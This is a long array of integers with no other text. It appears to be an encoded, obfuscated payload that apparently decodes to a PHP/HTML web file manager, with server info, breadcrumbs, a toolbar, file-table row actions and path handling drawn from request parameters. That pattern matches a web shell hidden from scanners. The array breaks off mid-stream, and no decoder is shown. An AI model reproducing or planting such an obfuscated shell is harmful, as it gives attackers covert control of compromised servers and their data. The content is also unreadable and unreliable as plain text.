0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 103, 87, 94, 90, 80, 0, 54, 63, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 93, 94, 91, 90, 78, 85, 77, 15, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 96, 39, 84, 80, 39, 25, 6, 3, 25, 91, 90, 85, 72, 94, 21, 25, 39, 94, 87, 87, 84, 87, 39, 25, 6, 3, 25, 39, 110, 83, 80, 83, 84, 76, 83, 25, 72, 81, 82, 80, 82, 92, 91, 19, 39, 102, 21, 25, 13, 9, 9, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 82, 83, 82, 77, 82, 90, 85, 25, 73, 90, 77, 81, 25, 91, 84, 87, 25, 127, 104, 25, 17, 93, 94, 88, 84, 93, 94, 25, 81, 94, 65, 25, 91, 87, 84, 86, 25, 124, 126, 109, 18, 25, 31, 20, 54, 63, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 87, 90, 86, 25, 6, 25, 82, 72, 72, 94, 77, 17, 29, 100, 124, 126, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 18, 25, 4, 25, 17, 72, 77, 87, 82, 83, 92, 18, 29, 100, 124, 126, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 25, 15, 25, 28, 28, 0, 54, 63, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 77, 81, 25, 25, 6, 25, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 87, 90, 86, 25, 26, 6, 6, 25, 28, 28, 25, 4, 25, 78, 81, 94, 65, 17, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 87, 90, 86, 18, 25, 15, 25, 29, 120, 110, 119, 119, 126, 115, 109, 0, 54, 63, 29, 72, 77, 90, 77, 94, 105, 90, 77, 81, 25, 25, 25, 25, 6, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 82, 83, 82, 77, 82, 90, 85, 105, 90, 77, 81, 18, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 0, 54, 63, 4, 3, 54, 63, 5, 26, 93, 84, 88, 77, 66, 73, 94, 25, 81, 77, 86, 85, 3, 54, 63, 5, 81, 77, 86, 85, 25, 85, 90, 83, 92, 6, 39, 94, 83, 39, 3, 54, 63, 5, 81, 94, 90, 93, 3, 54, 63, 5, 86, 94, 77, 90, 25, 88, 81, 90, 87, 72, 94, 77, 6, 39, 78, 77, 91, 22, 1, 39, 25, 20, 3, 54, 63, 5, 86, 94, 77, 90, 25, 83, 90, 86, 94, 6, 39, 75, 82, 94, 76, 73, 84, 87, 77, 39, 25, 88, 84, 83, 77, 94, 83, 77, 6, 39, 76, 82, 93, 77, 81, 6, 93, 94, 75, 82, 88, 94, 22, 76, 82, 93, 77, 81, 21, 82, 83, 82, 77, 82, 90, 85, 22, 72, 88, 90, 85, 94, 6, 10, 39, 25, 20, 3, 54, 63, 5, 77, 82, 77, 85, 94, 3, 201, 164, 181, 129, 25, 112, 122, 108, 119, 110, 112, 116, 5, 20, 77, 82, 77, 85, 94, 3, 54, 63, 54, 63, 5, 85, 82, 83, 80, 25, 81, 87, 94, 91, 6, 39, 81, 77, 77, 73, 72, 15, 20, 20, 91, 84, 83, 77, 72, 19, 92, 84, 84, 92, 85, 94, 90, 73, 82, 72, 19, 88, 84, 86, 20, 88, 72, 72, 23, 4, 91, 90, 86, 82, 85, 66, 6, 111, 82, 85, 85, 90, 16, 104, 85, 90, 103, 15, 76, 92, 81, 77, 121, 13, 9, 9, 0, 14, 9, 9, 0, 12, 9, 9, 27, 93, 82, 72, 73, 85, 90, 66, 6, 72, 76, 90, 73, 39, 25, 87, 94, 85, 6, 39, 72, 77, 66, 85, 94, 72, 81, 94, 94, 77, 39, 3, 54, 63, 54, 63, 5, 72, 77, 66, 85, 94, 3, 54, 63, 15, 87, 84, 84, 77, 64, 54, 63, 25, 25, 22, 22, 88, 10, 15, 24, 12, 1, 13, 1, 13, 1, 0, 25, 22, 22, 88, 23, 15, 24, 125, 1, 2, 9, 2, 9, 0, 25, 22, 22, 88, 8, 15, 24, 12, 11, 11, 13, 14, 7, 0, 25, 22, 22, 88, 13, 15, 24, 122, 1, 11, 9, 12, 1, 0, 25, 22, 22, 88, 14, 15, 24, 13, 12, 13, 8, 13, 120, 0, 54, 63, 25, 25, 22, 22, 103, 92, 15, 24, 10, 94, 10, 93, 23, 23, 0, 25, 22, 22, 73, 90, 83, 94, 85, 15, 24, 23, 90, 23, 1, 8, 9, 0, 25, 22, 22, 94, 87, 87, 15, 24, 91, 91, 11, 103, 11, 103, 0, 25, 22, 22, 84, 80, 15, 24, 14, 1, 88, 2, 1, 103, 0, 25, 22, 22, 76, 90, 87, 83, 15, 24, 91, 91, 88, 88, 11, 11, 0, 54, 63, 25, 25, 22, 22, 87, 90, 93, 82, 78, 72, 15, 10, 13, 73, 65, 0, 25, 22, 22, 72, 81, 90, 93, 84, 76, 15, 9, 25, 10, 9, 73, 65, 25, 8, 9, 73, 65, 25, 87, 92, 103, 90, 17, 9, 21, 9, 21, 9, 21, 19, 8, 14, 18, 0, 54, 63, 70, 54, 63, 31, 64, 103, 84, 65, 22, 72, 82, 79, 82, 83, 92, 15, 103, 84, 87, 93, 94, 87, 22, 103, 84, 65, 70, 54, 63, 81, 77, 86, 85, 21, 103, 84, 93, 66, 64, 81, 94, 82, 92, 81, 77, 15, 10, 9, 9, 30, 70, 54, 63, 103, 84, 93, 66, 64, 25, 86, 90, 87, 92, 82, 83, 15, 9, 0, 25, 91, 84, 83, 77, 22, 91, 90, 86, 82, 85, 66, 15, 39, 111, 82, 85, 85, 90, 25, 104, 85, 90, 103, 39, 21, 25, 72, 66, 72, 77, 94, 86, 22, 78, 82, 21, 25, 22, 90, 73, 73, 85, 94, 22, 72, 66, 72, 77, 94, 86, 21, 25, 104, 94, 92, 84, 94, 25, 110, 114, 21, 25, 119, 84, 103, 84, 77, 84, 21, 25, 39, 113, 94, 85, 75, 94, 77, 82, 88, 90, 25, 115, 94, 78, 94, 39, 21, 25, 122, 87, 82, 90, 85, 21, 25, 39, 115, 84, 77, 84, 25, 104, 90, 83, 72, 39, 21, 25, 39, 117, 82, 103, 94, 87, 90, 77, 82, 84, 83, 25, 104, 90, 83, 72, 39, 21, 25, 72, 90, 83, 72, 22, 72, 94, 87, 82, 91, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 103, 92, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 13, 91, 10, 91, 11, 0, 25, 70, 54, 63, 19, 76, 87, 90, 73, 73, 94, 87, 64, 25, 86, 90, 65, 22, 76, 82, 93, 77, 81, 15, 10, 10, 9, 9, 73, 65, 0, 25, 86, 90, 87, 92, 82, 83, 15, 8, 23, 73, 65, 25, 90, 78, 77, 84, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 9, 25, 10, 11, 73, 65, 0, 25, 70, 54, 63, 54, 63, 19, 81, 94, 90, 93, 94, 87, 64, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 14, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 10, 18, 18, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 23, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 75, 90, 87, 17, 22, 22, 87, 90, 93, 82, 78, 72, 18, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 25, 10, 11, 73, 65, 0, 54, 63, 25, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 10, 13, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 95, 78, 72, 77, 82, 91, 66, 22, 88, 84, 83, 77, 94, 83, 77, 15, 72, 73, 90, 88, 94, 22, 103, 94, 77, 76, 94, 94, 83, 0, 54, 63, 70, 54, 63, 19, 103, 87, 90, 83, 93, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 92, 90, 73, 15, 10, 23, 73, 65, 0, 25, 70, 54, 63, 19, 103, 87, 90, 83, 93, 25, 19, 85, 84, 92, 84, 64, 25, 76, 82, 93, 77, 81, 15, 25, 13, 9, 73, 65, 0, 25, 81, 94, 82, 92, 81, 77, 15, 25, 13, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 10, 9, 73, 65, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 25, 81, 82, 93, 93, 94, 83, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 77, 87, 90, 83, 72, 73, 90, 87, 94, 83, 77, 0, 25, 70, 54, 63, 19, 103, 87, 90, 83, 93, 25, 19, 85, 84, 92, 84, 25, 82, 86, 92, 64, 25, 76, 82, 93, 77, 81, 15, 25, 10, 9, 9, 30, 0, 25, 81, 94, 82, 92, 81, 77, 15, 25, 10, 9, 9, 30, 0, 25, 84, 103, 95, 94, 88, 77, 22, 91, 82, 77, 15, 25, 88, 84, 83, 77, 90, 82, 83, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 25, 103, 85, 84, 88, 80, 0, 25, 70, 54, 63, 19, 103, 87, 90, 83, 93, 25, 81, 10, 64, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 1, 73, 65, 0, 25, 86, 90, 87, 92, 82, 83, 15, 9, 0, 25, 85, 94, 77, 77, 94, 87, 22, 72, 73, 90, 88, 82, 83, 92, 15, 19, 8, 73, 65, 70, 54, 63, 54, 63, 19, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 64, 25, 77, 94, 65, 77, 22, 90, 85, 82, 92, 83, 15, 25, 87, 82, 92, 81, 77, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 93, 82, 87, 94, 88, 77, 82, 84, 83, 15, 88, 84, 85, 78, 86, 83, 0, 25, 92, 90, 73, 15, 11, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 91, 85, 94, 65, 22, 94, 83, 93, 0, 25, 70, 54, 63, 19, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 25, 19, 103, 90, 93, 92, 94, 64, 54, 63, 25, 25, 93, 82, 72, 73, 85, 90, 66, 15, 82, 83, 85, 82, 83, 94, 22, 103, 85, 84, 88, 80, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 1, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 10, 23, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 11, 94, 2, 94, 91, 0, 54, 63, 25, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 23, 73, 65, 0, 25, 85, 82, 83, 94, 22, 81, 94, 82, 92, 81, 77, 15, 10, 19, 8, 94, 86, 0, 54, 63, 70, 54, 63, 19, 72, 94, 87, 75, 94, 87, 22, 82, 83, 91, 84, 25, 19, 103, 90, 93, 92, 94, 25, 88, 84, 93, 94, 64, 25, 88, 84, 85, 84, 87, 15, 24, 91, 91, 91, 0, 25, 91, 84, 83, 77, 22, 91, 90, 86, 82, 85, 66, 15, 25, 78, 82, 22, 86, 84, 83, 84, 72, 73, 90, 88, 94, 21, 25, 104, 123, 118, 84, 83, 84, 22, 119, 94, 92, 78, 85, 90, 87, 21, 25, 118, 94, 83, 85, 84, 21, 25, 120, 84, 83, 72, 84, 85, 90, 72, 21, 25, 39, 117, 82, 103, 94, 87, 90, 77, 82, 84, 83, 25, 118, 84, 83, 84, 39, 21, 25, 86, 84, 83, 84, 72, 73, 90, 88, 94, 0, 25, 70, 54, 63, 54, 63, 19, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 64, 54, 63, 25, 25, 86, 90, 87, 92, 82, 83, 22, 77, 84, 73, 15, 10, 23, 73, 65, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 23, 73, 65, 25, 10, 11, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 73, 90, 83, 94, 85, 18, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 9, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 75, 90, 87, 17, 22, 22, 87, 90, 93, 82, 78, 72, 18, 0, 54, 63, 25, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 91, 85, 94, 65, 22, 76, 87, 90, 73, 15, 76, 87, 90, 73, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 54, 63, 70, 54, 63, 19, 88, 87, 78, 86, 103, 21, 25, 19, 88, 87, 78, 86, 103, 19, 88, 78, 87, 87, 94, 83, 77, 64, 54, 63, 25, 25, 77, 94, 65, 77, 22, 93, 94, 88, 84, 87, 90, 77, 82, 84, 83, 15, 83, 84, 83, 94, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 10, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 2, 2, 2, 73, 65, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 9, 94, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 11, 94, 2, 94, 91, 0, 54, 63, 25, 25, 77, 87, 90, 83, 72, 82, 77, 82, 84, 83, 15, 25, 90, 85, 85, 25, 19, 10, 14, 72, 25, 94, 90, 72, 94, 22, 82, 83, 22, 84, 78, 77, 0, 54, 63, 70, 54, 63, 19, 88, 87, 78, 86, 103, 15, 81, 84, 75, 94, 87, 64, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 23, 14, 70, 54, 63, 19, 88, 87, 78, 86, 103, 19, 88, 78, 87, 87, 94, 83, 77, 64, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 23, 1, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 91, 91, 0, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 84, 87, 15, 24, 9, 9, 9, 9, 9, 9, 13, 13, 70, 54, 63, 19, 88, 87, 78, 86, 103, 22, 72, 94, 73, 64, 84, 73, 90, 88, 82, 77, 66, 15, 19, 11, 70, 54, 63, 54, 63, 19, 73, 90, 83, 94, 85, 64, 25, 86, 90, 87, 92, 82, 83, 22, 77, 84, 73, 15, 10, 11, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 75, 90, 87, 17, 22, 22, 73, 90, 83, 94, 85, 18, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 25, 75, 90, 87, 17, 22, 22, 87, 90, 93, 82, 78, 72, 18, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 90, 0, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 75, 90, 87, 17, 22, 22, 72, 81, 90, 93, 84, 76, 18, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 81, 82, 93, 93, 94, 83, 0, 25, 70, 54, 63, 54, 63, 19, 77, 84, 84, 85, 103, 90, 87, 64, 54, 63, 25, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 91, 85, 94, 65, 22, 76, 87, 90, 73, 15, 76, 87, 90, 73, 0, 54, 63, 25, 25, 103, 84, 87, 93, 94, 87, 22, 103, 84, 77, 77, 84, 86, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 90, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 90, 23, 12, 8, 9, 0, 54, 63, 70, 54, 63, 19, 103, 77, 83, 64, 54, 63, 25, 25, 90, 73, 73, 94, 90, 87, 90, 83, 88, 94, 15, 83, 84, 83, 94, 0, 25, 103, 84, 87, 93, 94, 87, 15, 83, 84, 83, 94, 0, 25, 88, 78, 87, 72, 84, 87, 15, 73, 84, 82, 83, 77, 94, 87, 0, 54, 63, 25, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 9, 73, 65, 25, 10, 13, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 54, 63, 25, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 23, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 13, 18, 18, 0, 54, 63, 25, 25, 88, 84, 85, 84, 87, 15, 24, 23, 2, 10, 103, 23, 9, 0, 25, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 12, 9, 9, 0, 54, 63, 25, 25, 103, 84, 65, 22, 72, 81, 90, 93, 84, 76, 15, 25, 9, 25, 11, 73, 65, 25, 10, 13, 73, 65, 25, 24, 9, 9, 9, 9, 9, 9, 13, 14, 21, 25, 82, 83, 72, 94, 77, 25, 9, 25, 10, 73, 65, 25, 9, 25, 24, 91, 91, 91, 91, 91, 91, 14, 14, 0, 54, 63, 25, 25, 77, 87, 90, 83, 72, 82, 77, 82, 84, 83, 15, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 25, 19, 9, 11, 72, 25, 94, 90, 72, 94, 21, 25, 91, 82, 85, 77, 94, 87, 25, 19, 23, 72, 25, 94, 90, 72, 94, 0, 54, 63, 70, 54, 63, 19, 103, 77, 83, 15, 81, 84, 75, 94, 87, 64, 25, 91, 82, 85, 77, 94, 87, 15, 103, 87, 82, 92, 81, 77, 83, 94, 72, 72, 17, 10, 19, 9, 14, 18, 25, 70, 54, 63, 19, 103, 77, 83, 15, 90, 88, 77, 82, 75, 94, 64, 25, 77, 87, 90, 83, 72, 91, 84, 87, 86, 15, 77, 87, 90, 83, 72, 85, 90, 77, 94, 98, 17, 10, 73, 65, 18, 25, 70, 54, 63, 19, 103, 77, 83, 19, 72, 94, 88, 84, 83, 93, 90, 87, 66, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 1, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 23, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 91, 10, 94, 12, 94, 90, 0, 25, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 11, 9, 9, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 70, 54, 63, 19, 82, 83, 73, 78, 77, 21, 25, 19, 91, 82, 85, 94, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 9, 73, 65, 25, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 23, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 103, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 10, 91, 10, 93, 23, 8, 0, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 9, 0, 25, 70, 54, 63, 54, 63, 19, 77, 90, 103, 85, 94, 22, 76, 87, 90, 73, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 9, 30, 0, 25, 84, 75, 94, 87, 91, 85, 84, 76, 15, 90, 78, 77, 84, 25, 70, 54, 63, 77, 90, 103, 85, 94, 64, 25, 76, 82, 93, 77, 81, 15, 10, 9, 9, 30, 0, 25, 103, 84, 87, 93, 94, 87, 22, 88, 84, 85, 85, 90, 73, 72, 94, 15, 72, 94, 73, 90, 87, 90, 77, 94, 0, 25, 103, 84, 87, 93, 94, 87, 22, 72, 73, 90, 88, 82, 83, 92, 15, 9, 0, 25, 70, 54, 63, 77, 81, 94, 90, 93, 25, 77, 81, 64, 25, 77, 94, 65, 77, 22, 90, 85, 82, 92, 83, 15, 85, 94, 91, 77, 0, 25, 91, 84, 83, 77, 22, 76, 94, 82, 92, 81, 77, 15, 12, 9, 9, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 25, 10, 13, 73, 65, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 13, 73, 65, 0, 25, 73, 84, 72, 82, 77, 82, 84, 83, 15, 72, 77, 82, 88, 80, 66, 0, 25, 77, 84, 73, 15, 9, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 23, 8, 23, 10, 23, 2, 0, 25, 79, 22, 82, 83, 93, 94, 65, 15, 10, 0, 25, 70, 54, 63, 77, 103, 84, 93, 66, 25, 77, 93, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 10, 13, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 77, 84, 73, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 23, 23, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 14, 73, 65, 0, 25, 70, 54, 63, 77, 87, 15, 81, 84, 75, 94, 87, 25, 77, 93, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 9, 11, 25, 70, 54, 63, 19, 77, 66, 73, 94, 22, 103, 90, 93, 92, 94, 64, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 23, 73, 65, 0, 25, 73, 90, 93, 93, 82, 83, 92, 15, 13, 73, 65, 25, 1, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 2, 2, 2, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 24, 91, 91, 91, 91, 91, 91, 10, 13, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 0, 25, 70, 54, 63, 19, 83, 90, 86, 94, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 90, 85, 82, 92, 83, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 92, 90, 73, 15, 10, 9, 73, 65, 0, 25, 86, 82, 83, 22, 76, 82, 93, 77, 81, 15, 23, 9, 9, 73, 65, 0, 25, 70, 54, 63, 19, 82, 88, 84, 83, 64, 25, 76, 82, 93, 77, 81, 15, 23, 1, 73, 65, 0, 25, 81, 94, 82, 92, 81, 77, 15, 23, 1, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 1, 73, 65, 0, 25, 93, 82, 72, 73, 85, 90, 66, 15, 92, 87, 82, 93, 0, 25, 73, 85, 90, 88, 94, 22, 82, 77, 94, 86, 72, 15, 88, 94, 83, 77, 94, 87, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 13, 73, 65, 0, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 8, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 14, 18, 18, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 13, 13, 0, 25, 70, 54, 63, 19, 82, 88, 84, 83, 19, 91, 84, 85, 93, 94, 87, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 10, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 8, 18, 18, 0, 25, 70, 54, 63, 19, 82, 88, 84, 83, 19, 91, 82, 85, 94, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 88, 13, 18, 21, 25, 75, 90, 87, 17, 22, 22, 88, 23, 18, 18, 0, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 64, 25, 93, 82, 72, 73, 85, 90, 66, 15, 91, 85, 94, 65, 0, 25, 92, 90, 73, 15, 1, 73, 65, 0, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 64, 25, 73, 90, 93, 93, 82, 83, 92, 15, 11, 73, 65, 25, 10, 9, 73, 65, 0, 25, 103, 84, 87, 93, 94, 87, 22, 87, 90, 93, 82, 78, 72, 15, 10, 9, 73, 65, 0, 25, 91, 84, 83, 77, 22, 72, 82, 79, 94, 15, 10, 8, 73, 65, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 19, 93, 90, 83, 92, 94, 87, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 75, 90, 87, 17, 22, 22, 94, 87, 87, 18, 21, 25, 24, 93, 8, 14, 13, 14, 13, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 23, 103, 10, 9, 10, 9, 25, 70, 54, 63, 19, 87, 84, 76, 22, 90, 88, 77, 82, 84, 83, 72, 25, 19, 103, 77, 83, 19, 86, 78, 77, 94, 93, 64, 25, 103, 90, 88, 80, 92, 87, 84, 78, 83, 93, 15, 25, 85, 82, 83, 94, 90, 87, 22, 92, 87, 90, 93, 82, 94, 83, 77, 17, 10, 8, 14, 93, 94, 92, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 1, 21, 25, 24, 91, 91, 91, 91, 91, 91, 10, 9, 18, 0, 25, 88, 84, 85, 84, 87, 15, 24, 94, 94, 94, 0, 25, 103, 84, 87, 93, 94, 87, 15, 10, 73, 65, 25, 72, 84, 85, 82, 93, 25, 24, 9, 9, 9, 9, 9, 9, 8, 8, 25, 70, 54, 63, 54, 63, 24, 77, 84, 90, 72, 77, 72, 64, 25, 73, 84, 